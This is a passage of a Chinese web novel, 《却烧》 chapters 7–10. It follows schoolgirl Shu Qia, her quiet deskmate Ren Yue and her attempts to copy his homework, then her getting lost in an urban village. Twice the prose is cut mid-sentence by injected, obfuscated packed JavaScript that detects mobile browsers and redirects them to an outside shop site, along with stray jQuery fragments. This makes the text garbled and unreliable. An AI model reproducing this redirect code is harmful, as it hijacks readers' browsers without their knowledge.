《却烧》 7. 谢谢 窗外有鸟鸣,叫声孤寂响在教学楼。 已经九点多了,外面的阳光打在严润格头上。 他不是地中海,只是发际线有点高,阳光打上去像是在给他利索地抛了一道光,亮的惊人和灯泡一样。 他今天上课讲的是前天布置下来的小测试卷。 这是早上的第二节课,因为第一节课是语文课,班上大多数人还没有缓过来,还带着上节课的的睡意惺忪。大家都迷迷糊糊的上着数学课。 严润格很是陶醉的讲着试卷,偶尔有人睡得太夸张,他大声呵斥,声音犹如平地惊雷炸开。 “睡觉的自己自觉站起来!等会我喊起来的话自己知道后果!” 班上的睡觉人基本都被威慑倒,就连眼睛已经闭上的舒洽也吓得被睁开,她自以为自己打瞌睡不明显,缓慢回过神后依稀听见老严讲到了试卷第二页,悄悄将试卷翻了一个面,装做很是认真的看着。 舒洽想看看自己睡了多久,什么时候下课,一抬头,就看见严润格的发光额头。 她憋住笑意,低下头身子抖得厉害。 任樾在旁边看的一清二楚。 他疑惑地抬头,发现没有什么奇怪的变化。也不知道笑什么。 - 谢泽栖和舒洽的冷战还没有结束。 任樾如实将舒洽将纸条的事情告知谢泽栖后,他的脸色很是奇怪,又红又青又紫。 谢泽栖憋着一口气,本来就是心高气傲的大少爷,已经这么拉下脸了,但是舒洽还是不肯低头的话,那他就再忍忍。 他和任樾打着商量。 “你帮我注意着舒洽,看看她最近有啥喜欢的东西或者想干什么嘛,你知道后和我说说,我自有办法。” 什么办法?拿钱砸? 像上次很贵的那个水果蛋糕? 任樾没开口。他知道谢泽栖的家境很好,甚至是好到不得了的那种。 往常他并未往心里去,甚至觉得很无所谓,但这次瞧见谢泽栖自信的神色,他不知道怎么回事,近在眼前亲密相间的好兄弟似乎和他在这一瞬间割席,隔得很远,遥遥相望,中间弥漫着疯狂的迷雾。 任樾的心仿佛被针轻轻扎了一下,不着痕迹的刺痛隐蔽地蔓延。 “好。” 任樾答应后,谢泽露出喜色,很是兴奋地揽着任樾的肩膀,承诺道,“你最近不是想要那一套市外的竞赛题吗?我去给你搞到手。” 任樾神色愣怔,没想到谢泽栖这么体贴周到,“谢谢。” 谢泽栖捶了他一下,“都几.把哥们,说什么谢不谢。我妈那边有关系,顺便的事情。” 任樾笑了笑。 任樾很是尽责的帮着哥们盯梢。 他尽可能的看着舒洽的喜好,需求。 大部分他都是低着头打量舒洽,观察舒洽的情绪被什么牵扯,舒洽会因为什么开心,舒洽因为什么生气…… 他观察到后面,发现自己好像第一次了解,甚至是重新认识舒洽。 ——这个和自己同班了一年的同学。 舒洽喜欢踩点进教室,每次都会提着她那个华而不实的小背包悄悄探头,打量严润格是否来巡查班上的人到齐没。 如果躲过的话,就心情大好,早读脸上也弥漫着愉悦。双腿会像踩缝纫机一样抖起来,满是得意。 如果没有躲过,被严润格骂了的话,回到位置上就开始写写画画,早读也是嘴巴嘟嘟囔囔抱怨着。早读一结束,屁股就像按了弹射整个人起身离开座位和卫雨她们几个好朋友吐槽。 不管怎么样,舒洽的早读都很闹腾。 舒洽的那几个朋友,除了卫雨比较委婉,其他几个都是战斗力爆棚。 董圆,孟弦意,韩思佳。 任樾是不知道,她们为什么每天都有那么话讲,每天都可以笑嘻嘻的有新话题说。 舒洽是她们之间的公主,被众星捧月对待的那种。 舒洽喜欢喷香水,一直都同一个味道的茉莉味。淡淡的很好闻,一点也不浓郁腻人。 不爱老实穿校服,喜欢穿自己的私服。舒洽的品味很好,任樾也说不上来这些衣服的类型,只知道每一件都很好看,都衬得舒洽很漂亮 爱吃水果,各种各样都喜欢。 喜欢带很可爱的水杯带学校学校来接水喝,粉的吸管杯,白的马克杯,可爱的杯盖杯…… 舒洽做操的时候很爱浑水摸鱼偷懒漏动作,身高很高站在后面的任樾看见,得出一个结论:比起做操,她更喜欢扭头和挨得最近的孟弦意说小话。 舒洽一周要换几个发型,有时候是披着,有时候扎着马尾,有时候拿丝带编着……偶尔还会化妆,涂口红。 舒洽很爱求人帮忙——关于她的作业。其实她会做作业,任樾看过舒洽的草稿,虽然省略很多步骤,但是结果是对的。舒洽爱玩,不愿意去做,大部分都会缠着别人要答案。 舒洽求过几次任樾,发现打动不了他之后,就放弃他这个同桌。 也许是任樾的存在感真的很低,舒洽大部分都忽略了这个同桌,她都忘记自己有个同学了。 不重要的事情,她不会上心。 任樾被忽略包括但不限于,舒洽拿到小测试卷忘记给任樾一份,签说明书忘记直接越过任樾上交…… 但是舒洽每次态度都很好,会说“对不起”,真诚在眼睛里面闪烁,舒洽眨眼,“不是故意的,我忘了。”然后下次再犯。 舒洽很会有错就认,这是她的优点,但是她不改。 任樾观察舒洽大半个月,也没有感受到舒洽缺什么。不仅毫无收获,而且,还有一个坏习惯,那就是会下意识目光顺着舒洽看。 - 严润格双手撑着讲台,身子前倾,大声念着题目,咳了咳,“已知函数f(x)=e× +ax-1(a∈R).(1)讨论f(x)的单调性;(2)若f(x)≥0恒成立,求a的值;(3)在(2)的条件下,证明: f(x)> lnx.来来,第一题送分题,做错的举手。” 舒洽看着自己空着的试卷——她没写。 任樾在旁边看见了。 舒洽没举手。 严润格见到班上没人举手,很是欣慰点头,“不错,高考这样,我就很觉得很棒了。来,舒洽,说说怎么做?” 舒洽僵住。 “你刚才睡觉估计是很懂了,来说说。”严润格目光炯炯盯着舒洽。 舒洽犹豫站起来,她看了一眼时间,九点三十四。 “我这一道题,是这样做的,额……就是……”舒洽看着空白的试卷,脑子飞快转动着,想着怎么拖过去。 舒洽今天穿了一件嫩黄的小衫。 她很白,这种颜色也不显黑,所以多了几分俏皮。 很像一颗柠檬糖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425005|153673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 算了。 就当是为了回报那颗柠檬糖。 虽然舒洽可能自己已经忘记了。 但是任樾记得。 任樾看着舒洽淡定的模样,不经意间胳膊将试卷挪了挪,看似是巧合误碰,但试卷停留的位置刚好在是舒洽桌边,这个距离舒洽站起来,刚好可以看见上面的答案。 舒洽看着他的动作,愣了一下。 任樾最后一道大题写满了过程——试卷卷面又不大,字太小了。 她看不见答案。 虽然不知道结果,但是舒洽嘴巴没停,“就是……我根据题意……”她应付着,话还没说完,九点三十五到了,第二节下课铃声响起,与此同时,跑操曲也无缝衔接响在头上。 严润格让舒洽坐下,放舒洽一马,挥手,“这道题太难了,只要会做第一题就行了,剩下两道,看看下次有时间讲解没,没有那就不讲了,浪费时间。好了,检查校服和学生证,出去按队列站好,准备做操。体委看着啊。”随后就拿着数学小测试卷出了教室。 他一走,班上就自由起来。 穿校服的穿校服,倒垃圾的倒垃圾,喝水的喝水…… 舒洽松口气,卫雨几个走过来。她们身高差不多,是一列的。 “难得你做最后一题,怎么做的?”孟弦意凑过来,“不错哦,小舒。” 舒洽没好气,举起试卷。 “没写。” 卫雨比了一个大拇指,“那很棒了。” 把老严糊弄过去了。 舒洽的学生证没找到,挥手让卫雨几个先去走廊站着。 她翻找着,发现学生证被她塞进了书桌抽屉的最里面,可能是昨天做完操嫌弃碍事不耐烦地甩在里面忘了。 舒洽戴着准备离开,结果看见倒完垃圾回到座位拿英语小册子的任樾。 今天是任樾值日。 “任樾。” 舒洽喊了一声任樾,任樾顿了顿,身形侧向舒洽,显然是在听。 舒洽不知道是不是巧合,因为任樾没有任何示意。 很有可能是她自作多情,但万一呢? 到底是怕自己想多了,舒洽这一声感谢细弱蚊蝇。 “谢谢……” 头上的跑操曲猛地大起来,刚好盖过舒洽的声音。 舒洽拳头硬了。 听见舒洽喊他的名字没后续,任樾拿起小册子就走,没有半分停留,一副没有听到的模样,舒洽怎么好意思开第二次口。 “舒洽,快出来啊,隔壁班走了!”韩思佳在走廊外面喊着舒洽。 “来了!” 她将学生证戴着,匆匆跑出去,在队列里面挤了进去。 舒洽索性不想了,就算是刻意的,她也说了谢谢,只是任樾没听见而已。只是巧合的话,那更好了,他没听见,这也不算她的自作多情。 到了操场,按照队列展开准备做操。 两臂展开,拥有足够空间。 “第九套广播体操现在开始……” 任樾站在队伍的最后,看到扭头和孟弦意说话的舒洽唇角勾了一下。 他是没听见舒洽说的是什么,但是他看得懂舒洽的嘴型。 是“谢谢”。 还有,舒洽嘴很红,绝对今天涂口红了。 舒洽不吝啬表达感谢。 任樾又了解到舒洽一点。 8. 小樾老师(350加更) 课间操结束,要以班级为单位集合然后解散离开。 高二十三班的顺序在中间,有一会才走。 舒洽、卫雨、孟弦意挨得很近聊着天。董圆和韩思佳在第一排,最前面,太远了,隔得有点距离,说不了话。 虽然现在才五月出头,但天气却不低,尽管算是温和的十点钟左右,太阳也毫不留情。 做操的时候阳光照着,做操要全身调动起来动作幅度很大,虽然舒洽竭力摸鱼,动作也死气沉沉,但还是抵不住身体在动。 很热。 舒洽耐不住热。 舒洽索性将外套脱了拿在手上,她上半身只穿了薄薄的一件嫩黄小衫,是短袖,胸口前是木耳边设计,很俏皮。 她的背很直,没有前倾,是很明显的直角肩,也很薄,没有一丝赘肉,少女纤细又婀娜的美好曲线流畅悦目。 舒洽今天松松将头发挽着,可以看见她又细又长的天鹅颈。 舒洽整个人白到发光。 “下节课是生物,完蛋了,栗子姐的试卷你写了吗?最后那道题。”孟弦意想了想昨天生物作业的难度。生物作业盯得紧——栗子姐非要亲自检查后才上课。 她的生物成绩还行,给舒洽出招,“没做的话,先看看我的,就那一道题。你前面估计做了吧?” 舒洽露出一个笑,带着得意,“写完了。” 卫雨接收到孟弦意的挑眉,摆手,“和我没关系。” 舒洽凑到二人前面,低声说着,“我昨天不小心看到了任樾的答案,copy了一下。” 她发誓,真是无意识看见的。 这没办法,看到了就看到了,看到了又不会少块肉,那就copy一下。 “你可真行。对了,任樾还是不愿意给你看作业啊?这么老实,老严还真是看人看太准了。”孟弦意鼓掌。 舒洽撇嘴,嫌弃道。 “特小气,真的。我觉得他脑子坏掉了。你说说,谁不是和同桌关系好啊?同学互帮互助不行嘛?” 卫雨将纸巾递给舒洽,示意她擦擦鼻尖沁出薄汗,又让她把外套穿上,“等会感冒了。” 舒洽拒绝,“热。” 卫雨想到什么,笑起来,“你穿上外套,我给你出个招。” “你说了我听听。” 前面的十二班已经开始走了,十三班接着队伍。 几个人边走边聊,卫雨说,“你去和任樾说,你不会做,喊他教你,剩下该怎么做你自己懂吧。” 舒洽采纳这个意见,但是不穿外套。 “爱卿退下吧。” 她说着,孟弦意打了她一下,舒洽反击,碰到了卫雨,卫雨追着舒洽要报复回来,舒洽跑的飞快,直直往董圆那个方向求助。 几个人嘻嘻哈哈的上着阶梯打打闹闹。 任樾才走到阶梯那里,谢泽栖就不知道从哪个地方窜出来,跳到任樾面前。 一看就是停留没跟着班级走。他的班级在二班,离场顺序在第三位。 “任樾,咋样了,舒洽最近有啥想要的吗?” 任樾沉默片刻,半天才吐出一句。 “她想要不做作业。” 谢泽栖也沉默了。他也不想做作业。 “走吧,我请你喝水。” 谢泽栖在心里叹气,也不知道怎么哄着舒洽了,本来指望任樾可以看看,但任樾木头人,怎么又可以感知到呢? 任樾敏锐察觉到谢泽栖的态度,下意识抿了抿唇。 随后若无其事道。 “请什么请,我自己买。” —— 舒洽采纳了卫雨的主意,正式开始实施在一次下课的时候将化学作业送到任樾桌前,“任樾,这道题我不会,你可以给我讲讲怎么做的吗?” 正低头看书的的任樾因为这个动静被迫抬头,他犹豫道,“你问我?” 舒洽发誓,自己真的从任樾的眼底看出了——“你确定是问我怎么做而不是怎么抄?” 舒洽为了掩饰自己的尴尬,捏拳抬至唇前不自觉咳了咳,“对的,这道题我不会。你可以教教我吗?” 任樾“嗯”了一声,拿起练习册指了指题目,确定着,“第九道?” 他问着舒洽,舒洽凑近,“嗯,这个大题不会。” 味道是分子的扩散,茉莉花香在这一瞬间萦绕于任樾鼻尖。 “这道题,就是从图像上找到交点所对应的PH值。”任樾想拿笔,舒洽很是上道将自己的笔拿了过去。 任樾接过她的莫兰迪色系彩虹套装笔僵住,很快调整状态指着题目,“你看看,根据提议,第一个交点在这里。”他拿笔圈出来,舒洽配合,恍然大悟,“哦哦,这样啊……” 任樾继续讲着,往下一步走着,“图上面,你看,找到第一个交点,第二个也会出来了。” 任樾写写写,将公式列出来,舒洽在旁边看着,不时点头握拳,“哦哦哦,原来是这样,我没想到这个公式”,听见舒洽这样说,任樾手下动作停住,将几个公式圈起来,“是可能没想到,你等会再看看吧,加深一下印象。就是这样做的,交点一出来。好了,所以这题选D。” 舒洽见到任樾将答案勾出来,不由自主笑起来,喜悦完全藏不住很开心地感谢着任樾,“任樾,谢谢你啊!你好厉害!这道题我听懂了,你好适合当老师啊,以后去考师范吧。肯定是王牌老师,天天拿奖金 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任樾知道,那不是谢谢,是他完成任务后的放松。 “任樾,谢谢你啊。” “任樾,谢谢。” “谢谢哦,任樾。” …… 很多人都对任樾说过谢谢,但是只是单单真诚感谢的话,舒洽是唯一一个。 舒洽是带着笑的,唇角扬起的弧度是那么自然,眼睛亮晶晶的看着你,只看你一个人,倒影里面你可以清晰看你的身影,她只对你一个人说话。然后,红润的唇坦率而又自然地流出那些肉麻的话语。 她的感谢很夸张,语气也是甜到发慌,会自动夹一下。 但是她的本音就很优越,也许是任樾听惯了,他甚至觉得舒洽不管怎么样,声音都挺好听的。 舒洽夹着不是很刻意作证的那种,只是语调稍微升高,让人听着很舒服很熨帖。 夸他舒洽还要带语境,你好厉害,你去考师范,还会是金牌老师,她甚至还给她安排了一个很好的未来——可以拿奖金拿到手软。 任樾喉间干涩。 他看着舒洽拿走练习册,然后注视着舒洽从抽屉里面摸出一个苹果放在他的右上角,挑眉开玩笑道。 “以后有问题我还来问小樾老师哦。” 好陌生。 这算一个外号吗? 第一次有人这么喊他。 任樾将舒洽忘记的笔还给她。 “嗯。” 在还笔的时候,他无意擦到舒洽手背,他感受到自己的小尾指无意识瑟缩了一下。 9. 迷路 舒洽和任樾的交际稍微多了一点。 因为舒洽会问任樾问题,然后任樾讲解,顺势就会将答案写在舒洽的作业册子上。 但是舒洽并没得到满足。 她想直接任樾的抄作业。 舒洽找上了董圆。 上次的数学作业,董圆就说过,她的作业是抄的任樾的。董圆是怎么做到的?舒洽打算和她取取经。 舒洽敲了敲董圆的桌子,在知道舒洽的来意之后,董圆神情明显是愣住的错愕。 “啊?你找任樾抄作业找我干嘛?” 舒洽撒娇,“哎呀,任樾只让我问问题,但是我只想要答案啊,抄作业他给都不给的。你那次是怎么做到的?” 董圆眼睛下意识往后看,是舒洽和任樾所在的教室后排,任樾正安静的低头拿着笔,可能是在写作业。 他的存在感在班上一向很低,大多数是闷闷地低着头,任由眼前的长刘海遮住自己的眉眼。不张扬,不爱说话,孤零零的,在班上也没个说话的朋友,静静坐在自己的位置上减少自己的存在感。 董圆拉着舒洽,走到教室前面的走廊上。 “你非要抄他的作业?卫雨的不行嘛?”她皱眉问着。 “他是我同桌啊,抄作业最方便的。”舒洽理所当然。她着急催促道,“快说,你怎么要到他的答案的?” “他是我初中同学。”董圆说完看见舒洽瞪大眼睛一副不可思议的模样——董圆从来没说过这个冷门又小众的事情。 董圆笑了笑,“你这个是什么表情?我初中在宏光读的,挨着城中村的一个学校。你知道这个学校吗?” 舒洽努力回想了一下,发现自己对这个学校毫无印象。她只知道——一中,南中,附中,三中,还有一个实验。 舒洽诚实摇头.她吐槽了一句,甚至委婉,“好小众的学校。”但脸上的表情却很不屑就差说——哪里来的野鸡学校了。 董圆耸了耸肩。 “挨着城中村,是个垃圾学校,你没有听过很正常。” 舒洽张了张口,“垃圾学校也出了你和任樾两个大学霸。”考到南中,也很厉害了不是。 “宏光我们这一届总共两个人考上高中,剩下的要么去了职高要么去打工。” 舒洽见到董圆神色如常,意识到考上高中的是她和任樾,点了点头,“哇,你和任樾真的挺牛逼的。” 董圆摇头,自谦道,“任樾超了八十几分进来的,我才过线十几分,我没有他厉害。” 刚好擦边进校,卡着分数线的舒洽:…… “所以,这就是你可以找他要到答案的原因?初中同学?我看你们完全不熟啊。”舒洽撇嘴,意识到自己彻底占不了任樾的答案,沮丧低头。 董圆安慰,“也不一定,因为任樾心很软。” “呵呵?你和我认识的是一个人吗?” 心软? 她求了那么久,还不松口。 董圆解释道,“任樾在宏光中学的口碑很好的,尊老爱幼,热心助人。在城中村有些地方也小有名气,额,虽然我现在不在那里住了。” 舒洽疑惑,“这有什么关系吗?” 董圆眨眼,悄悄说道,“这说明,任樾其实可以交往。因为他做实事才有口碑。你可以和任樾拉近关系,懂吗?关系好了,抄答案不是轻而易举吗?” 她补充,“你这么讨人喜欢,多和任樾说会话,去试着当他朋友。” 舒洽不是很乐意。 而且,舒洽还听见了董圆刚才话里的“城中村”,是听说南充有这地方,虽然没见过城中村,但是舒洽或多或少还是有点了解,心里想到,原来任樾是个穷鬼啊。 她不和男穷鬼有多的交流的。 舒洽说道,“我其实不愿意和话少的玩。” “有没有一种可能,他和不熟的人话才少?” “你和他熟,他在你面前话多吗?” 董圆沉默了。 其实刚才那句话是她猜的,因为任樾在她印象里,一直话很少。她寻思,任樾有反差呢。 —— 好不容易挨到了星期五下午要放学,班上同学情绪都有点亢奋。 这节课的是物理,物理老师也是一个年轻女老师,叫谭妙,硕士毕业,今年才到南中任教。 十三班是她教的第一届学生。 她看了看时间,差不多还有五分钟就放学,索性不讲课了,“你们严老师说了,注意安全,别去三无网吧,别去玩水。星期一记得不要迟到。作业都记下啊,别忘了,我看黑板上都写着呢。” 下课铃一响,整个学校都沸腾,寂静的教学楼活了起来,满是生气,所有声音都起来了。激动兴奋的叫声,收拾书包翻书本的“咚”声,还有板鞋擦过走廊的刺耳声…… 谭妙也着急回家,“下课,下周见。” 十三班一阵欢呼,大解放。 舒洽扭头看黑板,她又不着急回家出去玩。她走读生,每天回家,没多大的感受。慢条斯理按照黑板上的作业内容整理收拾几个她会做的作业,将东西塞进书包里面。 旁边的任樾倒是一下课就走,一点也不停留。 她从口袋里面摸出手机,终于有闲心回谢泽栖的消息。 “别发了,手机因为你的消息卡疯了。” 谢泽栖那边秒回。 “这才多少?” “对不起。” “什么牌子的手机,我给你换一个。” “这周出去玩吗?” “苹果的,怎么了?给我换个最新款啊?” “行啊。你要不等几个月,到时候给你换九月份的新款?” “可。” 谢泽栖马上来了个电话,“小乖,你这周出去玩吗?” “有约,下次排队吧你。”舒洽答应了卫雨,这周要和她出去玩的。 “行吧,你要出去玩随时喊我。” “嗯。” —— 卫雨和舒洽约着的地方是天新街。 天新街之前是老街,这几年发展起来,经济猛然上涨,改头换面成了一条兴新商业街。 舒洽之前没来过,天新街是北区,舒洽大多数在南区玩。 卫雨说她喜欢的谷子只有这边的一个商场有,舒洽陪着卫雨一起去。 好在这里也通了地铁。坐在地铁上,舒洽看见了什么瞳孔收缩,拉着卫雨看。 外面的景色割裂感极强,一边是明亮巨大的高楼林立,一边是密密麻麻的矮旧建筑,在一个画框里泾渭分明,震撼感十足。 “你看!”她惊呼。 卫雨见到舒洽大惊小怪,摆手,“城中村啊。你没见过啊?” “没。” 舒洽终于第一次见到了传说中的“城中村”。 乌压压的一堆建筑,压的人喘不过气。 出了地铁口后,两个人逛起来。 卫雨到了谷子店,发现只剩下了两盒想要的吧唧,手里有钱索性直接all in,还买了几个娃娃,送了舒洽一个。 "等会去吃啥啊?"舒洽喝着奶茶,卫雨想了一下,“等会再看吧?” 两个人说说笑笑逛着,出了商场走在天新街上,遇到什么好玩的都想玩一下。 卫雨中途接了一个电话,挂了之后就神色古怪,“小舒,不好意思,我有点事,我先走了,等会你回去的车费我给你报销了。” 舒洽见她蛮着急的,“车费花得到多少?你先走吧。”点头约着下次,挥挥手和她说拜拜。 等卫雨走后,时间还早,舒洽索性自己逛起来。 也不知道怎么走的,东看一下西看一下,离开了明亮的街面,走到了一处老式居民所的地界,等她反应过来一看,周边皆是小路,道是四通八达,就是不知道出口。 房子老旧,围墙下面长着爬山虎,铁质生锈的窗户上面拉着一根绳,上面挂着各种衣服还有大红的内衣。电线杆立着,上面贴满了各种小广告——开锁,借腹生子,直播招人…… 阳光都很少照进来,一种古怪的味道蔓延,黑压压的,舒洽心中发慌,打开导航,她才发现,自己现在在大西村,那个传说中的城中村地界。 舒洽慌不择路,往后退,原路返回走着,企图出去,她看着导航走的。走了三分钟,豁然开朗,是更加低暗的氛围——窗户挨得密密麻麻,绳子上面挂满了衣物,阳光都不愿到来的地方,感觉下一秒地上就要爬过蟑螂了,地沟趟污水,道路破破烂烂,空气全是泥腥味和作呕味。 舒洽孤零零站着,不敢再动。 她和卫雨发着消息,“完蛋了我好像在城中村迷路了。” 卫雨那边没回复,可能是在忙。 舒洽怕脏东西沾到自己才买的鞋上,新鞋一千八,不能太快贬值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这种毫无营养的对话任樾不知道说了多少遍,就像是复读机一样。 在一个巷口,他听见了舒洽的哭声,真的很大,手机传来和耳朵现实双声道立体环绕下,任樾倍感折磨。 “舒洽。” “嗯?” “抬头。” 舒洽看得懂导航,但是方向感极差,她是一个路痴。舒洽是真的怕了,等会她自己再一个人走着,开盲盒又不知道开到哪里去。 这个又脏又乱又没有阳光,舒洽被吓到了,一个人就容易胡思乱想,她想着等会自己会死在这里,一会有个犯罪团伙出来…… 她被自己吓哭了。 两分钟后,巷口传来了动静,舒洽听见任樾的话害怕抬头,发现是任樾面无表情举着手机走了过来。 “任樾!” 舒洽喊着,眼睛放光,像是找到了救星。 任樾走到舒洽面前,居高临下俯瞰她。 舒洽穿的就和这个灰暗的地方毫无关系,格格不入。一身鲜亮的复杂长裙,裙摆很大,像云一样。腿又白又直,纤细匀称,穿着过膝蕾丝边白丝袜,踩着一双小皮鞋。头上带了一个蕾丝蝴蝶结,头发披着,特意卷了卷。 舒洽打扮的像个小公主。 任樾第一印象就是他小时候看的童话书的那种卡通公主。她们就是这样穿的。 看着哭的眼眶通红,泪痕遍布的舒洽,任樾低头,放下手机,将手上的塑料袋递给舒洽。 任樾眼铮铮看着舒洽将塑料袋拆开套在脚上后才舍得挪动脚步靠近走向他。 塑料袋被踩在脚下,发出很大的动静。 “有纸吗?” 舒洽仰头看着任樾,泪痕很是明显,长长的睫毛长还沾着泪珠,我见犹怜模样。 任樾摸了摸口袋,扯出一团揉成一堆的纸巾递给舒洽。 舒洽没接,脸上还挂着狐疑的表情。 “是牌子的吗?我是指清风,心心相印这种。” 任樾咬牙,被迫想了一下这个纸的牌子。 它有牌子吗?好像是他在拼夕夕批发的散装纸。 “没。” “那我不要了。” 任樾:…… 10. 舒公主 舒洽皱着眉,脚下的塑料袋随着走动,“啪啪”作响,本来目睹舒洽这一些系列,任樾额间神经就控制不住地跳动——能把塑料袋当鞋套,舒洽确实不是笨蛋,这不是挺聪明的嘛。 “舒洽,你的救命是指什么?” 他忍不住低声问了一句,带着自己都不知道的无力和愠怒——可能知道舒洽不会说什么好话。 “这里好脏好乱。我走丢了。你怎么不关心你的同桌?!任樾,你怎么这么冷血?!而且,你没看见我的鞋是新鞋吗?我的鞋会弄脏啊!你这个不识货的丛林土鳖!” 舒洽吸了吸鼻子,抱怨看向任樾,对上任樾寂静无声的眼眸忍不住宣泄着。 瞧见任樾,现在熟悉的人在身边,她悬着的心放了下来,也恢复起了本性,只是声音带着鼻音,再加上她的无意识依靠,说话的语气更是像是和孟弦意她们在一起的娇嗔,带着熟稔和为所欲为。 她也不知道怎么回事,明明任樾没说话,还是和在学校一样的沉闷,但是却让她莫名其妙有了安全感。 任樾被舒洽张开就来扣上了“冷血”“丛林土鳖”这几个帽子,他眼皮轻掀,眸底皆染上阴郁,脸色冷峻,想轻呵一声,但想到了谢泽栖的照顾照顾,忍了下来。 他是真想一走了之。 任樾现在后悔,就不应该相信舒洽的“救命”是什么严重性的事情。 亏得他收到消息的时候心还是下意识跳了几分。 也是,舒洽遇到危险找他不找警/察,想来也不是什么大事 ,他在自作多情什么?只不过是舒公主折磨人的一种方式罢了。 任樾在心里叹气,虽然他嘴巴上说不管舒洽,但是不论是谁给他发这种消息,他都会在意帮忙的。 可能是他对舒洽存了一点幻想——舒洽万一真的遇到危险了,真的没办法了呢? 舒洽眼眶红红,脸上全是泪痕。 给她纸巾也不擦,非要牌子货。任樾想到,他用的散装纸也没见脸毁容。 舒洽扯着任樾的外套衣袖摇了摇,任樾微不可闻的叹气,想到舒洽也只是走错路慌乱而已,谁都会有这样的经历。 等会再去小卖部给舒洽拿包手帕纸擦脸吧。 舒洽拍了拍任樾的手背,任樾肩膀绷紧,热度莫名从脊椎窜到了天灵盖。 他抬了抬下巴,居高临下睨了一眼舒洽,然后略微弯腰打着商量道,近乎于好声好气哄着,“我送你出去?” 任樾倒是想维持之前的声线,保持冷淡,但是看现在舒公主状态不对,还是不刺激她了。 舒洽还没来得及点头说好,眼睛一瞥,扫到墙根的一闪而过的东西,下一秒身子僵硬,脸白不说唇也毫无血色,一瞬间失去所有力气般腿软就要倒下,任樾眼疾手快将舒洽拉着,却发现舒洽泄力到拉都拉不住,只好将她肩膀扣着,浅浅揽舒洽进怀。 一瞬间的馨香扑面而来,不是熟悉的茉莉花,而是清新带着酸涩的柑橘味。 舒洽换了一种香水。 他下意识想到。 复而凝眸皱眉,为自己这么关注舒洽的变化而感到烦躁。 “你怎么了?不舒服?我给你叫救护车?” 任樾打量舒洽脸色虚弱,单手举起手机准备拨号,舒洽按住,眼睛失去神色,声音带上了绝望悲凉,“我就是看见蟑螂了。没事,别浪费公共资源。” 真的很大! 油腻腻的蟑螂,棕得发黑,翅膀像是打了发蜡在反光,触须又长又灵动,腿非常有力,攀岩走壁,从一处长着青苔的墙根入口很是自然爬入一家住户的窗棂,然后消失不见。 这个过程快到不足五秒,目睹全程的舒洽瞳孔猛地收缩,硬生生压住了想要尖叫的欲.望。 “哦。” 任樾干巴巴应了一声,想要松开舒洽,通过力度察觉到任樾的想法,舒洽紧紧抓着任樾的胳膊,“你先别放开我,我走不动。” “难道我要一直以这个姿势带着你?” 任樾皱眉。 舒洽很自然,她已经接受一切了,闭眼安详去世摸样,她苦苦哀求道,“你带着我吧。求你了,任樾,我现在一睁眼看哪里都是那个蟑螂的幻觉,我觉得它要爬我身上了。” 够了。 任樾拉着舒洽,让舒洽的手搭着他的肩膀,像是扶着腿伤患者般带着舒洽负重前进。 舒洽的全部重量全部压在任樾身上,任樾忍不住咬牙切齿起来。 先不说舒洽脚底下步步作响的死塑料袋,就说舒洽全部压在他身上,柑橘味道溢满鼻腔直达天灵盖,而且,舒洽的发丝不时擦过任樾的脸,柔软调皮夹带痒意,也不知道用的什么牌子洗发水,很香。 任樾闻到了一堆属于舒洽的味道。 一步一步皆是艰难。 还要和舒公主聊天,不然舒公主就指责他冷漠不近人情,要关心同学,不要走独立主义。 任樾是真的不想被公主扣帽子了,和公主聊天总比给自己找罪名好。 舒洽觉得自己心里慌,想和任樾聊天。 任樾是真的软柿子,很好捏,问什么答什么。舒洽惯会蹬鼻子上脸,遇到任樾这种老实人,简直就是人玩弄i人典型例子。 “任樾,你家真的在这里啊?” “嗯。” 不然他怎么会在这里出现? 公主真的很爱没话找话。 “任樾,那你家里有蟑螂吗?” “没有。” 他收拾得干净,任樾有一点强迫症和洁癖。 家里目前没有过出现蟑螂。 “任樾,我刚才哭了,你没录音和录像吧?” “没。” 忘了。 公主还挺注意形象的。 “任樾,我刚才丑吗?丑的话你就忘记,好看可以记着。” “没看清楚。” 任樾看清楚了,其实看到舒洽的一眼,舒洽眼里放光,异常激动喊着他的名字,他自己说不出来什么感受。 但舒洽眼尾泛红,睫羽扑闪沾泪的摸样,他的第一印象是梨花带雨具象化。 他想抬手帮舒洽把泪水擦去。 任樾的头稍稍侧了一下方向,看着舒洽的侧脸,发现公主长得真的很 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“作业等我回家拍给你,你安静会。” 舒洽“哦”了一声,很是乖顺,然后又卸力靠着任樾不说话只是拿着手机玩起来,整个人要被任樾拖着走。 任樾闭眼,深呼吸一口气,面色如常带着公主走。 “任樾,刚才你在干嘛呢?来的这么快?” “打工。” 公主看抖音都堵不住她的嘴吗? 任樾斜睨舒洽的手机,却发现公主垂眸正在单手认真回消息,嘴角勾起带着笑意。 不知道是谁,但他心里有个声音告诉他,是谢泽栖。 他别开眼不再去看。 “哎,在哪里打工啊?我可以去看看嘛?” 舒洽刚才正在和谢泽栖抱怨自己迷路了,但是凭借自己的智慧化险为夷转危为安。 得住舒洽在北区,谢泽栖很是兴奋,说要带着舒洽在北区多玩会,等会来接她。 舒洽答应了。 听见任樾在“打工”,舒洽还挺好奇,任樾在哪里打工啊? 等离开巷子,来到了一处稍微宽敞的地方,也就是舒洽最开始的来时路。舒洽获得解放,想要将塑料袋脱下,但是周围没垃圾桶。 任樾冷眼看着恢复活力的舒洽,松口气,才想走,被舒洽缠上,“带我去你打工的地方看看吧。” 任樾抿唇。 “就是一个很破的小卖部。” “哇塞,有那种五毛的辣条嘛?” 